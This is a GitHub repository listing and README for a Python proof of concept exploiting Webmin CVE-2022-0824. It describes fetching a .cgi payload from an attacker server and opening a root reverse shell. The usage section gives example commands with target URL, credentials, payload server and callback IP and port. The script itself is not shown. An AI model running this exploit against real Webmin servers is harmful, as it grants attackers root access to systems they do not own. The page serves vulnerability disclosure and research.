https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell

Webmin <=1.984, CVE-2022-0824 Post-Auth Reverse Shell PoC
https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell

cve exploit proof-of-concept vulnerability

Last synced: 3 months ago
JSON representation

Webmin <=1.984, CVE-2022-0824 Post-Auth Reverse Shell PoC

• Host: GitHub
• URL: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
• Owner: faisalfs10x
• Created: 2022-03-06T00:03:31.000Z (over 2 years ago)
• Default Branch: main
• Last Pushed: 2022-03-06T07:01:15.000Z (over 2 years ago)
• Last Synced: 2024-06-06T20:02:41.904Z (5 months ago)
• Topics: cve, exploit, proof-of-concept, vulnerability
• Language: Python
• Homepage:
• Size: 12.7 KB
• Stars: 108
• Watchers: 4
• Forks: 38
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - faisalfs10x/Webmin-CVE-2022-0824-revshell - Webmin &lt;=1.984, CVE-2022-0824 Post-Auth Reverse Shell PoC (Python)

README

        
# Webmin-CVE-2022-0824-revshell

## Vulnerability Description

Webmin 1.984 and below - File Manager privilege exploit (CVE-2022-0824 and CVE-2022-0829)  

Less privileged Webmin users who do not have any File Manager module restrictions configured can access files with root privileges, if using the default Authentic theme. All systems with additional untrusted Webmin users should upgrade immediately. Note that Virtualmin systems are not effected by this bug, due to the way domain owner Webmin users are configured.  

_Source: https://www.webmin.com/security.html_

## Exploit Description

This exploit takes advantage of the post-auth Improper Access Control vulnerability in File Manager. This exploit could be done by any less privileged authenticated attacker. It will download a .cgi file remotely from an attacker-controlled server and modify its permission to be a world-executables file. Once this is done, it will execute the .cgi file to establish a reverse connection to the attacker-controller server with root privileges.

_Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/_

## Usage

    $~ python3 Webmin-revshell.py -t [TARGET] -c [CREDENTIAL] -LS [PY3HTTP_SERVER] -L [CALLBACK_IP] -P [CALLBACK_PORT]

    $~ python3 Webmin-revshell.py -t https://192.168.5.118:10000 -c user:user123 -LS 192.168.5.120:9090 -L 192.168.5.120 -P 4444

    

    $~  python3 Webmin-revshell.py -h                                                                                                                                    

        usage: Webmin-revshell.py [-h] -t TARGET -c CREDENTIAL -LS PY3HTTP_SERVER -L CALLBACK_IP -P CALLBACK_PORT [-V]

        Webmin CVE-2022-0824 Reverse Shell

        optional arguments:

          -h, --help            show this help message and exit

          -t TARGET, --target TARGET

                                Target full URL, https://www.webmin.local:10000

          -c CREDENTIAL, --credential CREDENTIAL

                                Format, user:user123

          -LS PY3HTTP_SERVER, --py3http_server PY3HTTP_SERVER

                                Http server for serving payload, ex 192.168.5.120:8080

          -L CALLBACK_IP, --callback_ip CALLBACK_IP

                                Callback IP to receive revshell

          -P CALLBACK_PORT, --callback_port CALLBACK_PORT

                                Callback port to receive revshell

          -V, --version         show program's version number and exit

## PoC

    target host: https://192.168.5.118:10000

    attacker host: 192.168.5.120

https://user-images.githubusercontent.com/51811615/156904265-80c2ee4f-8447-41cd-9197-446bf6555e25.mp4

## Tested on

    

    - Webmin 1.984

    - Ubuntu 18.04

    - Kali 2021.3

## Disclaimer:

    The script is for security analysis and research only, hence I would not be liable if it is been used for illicit activities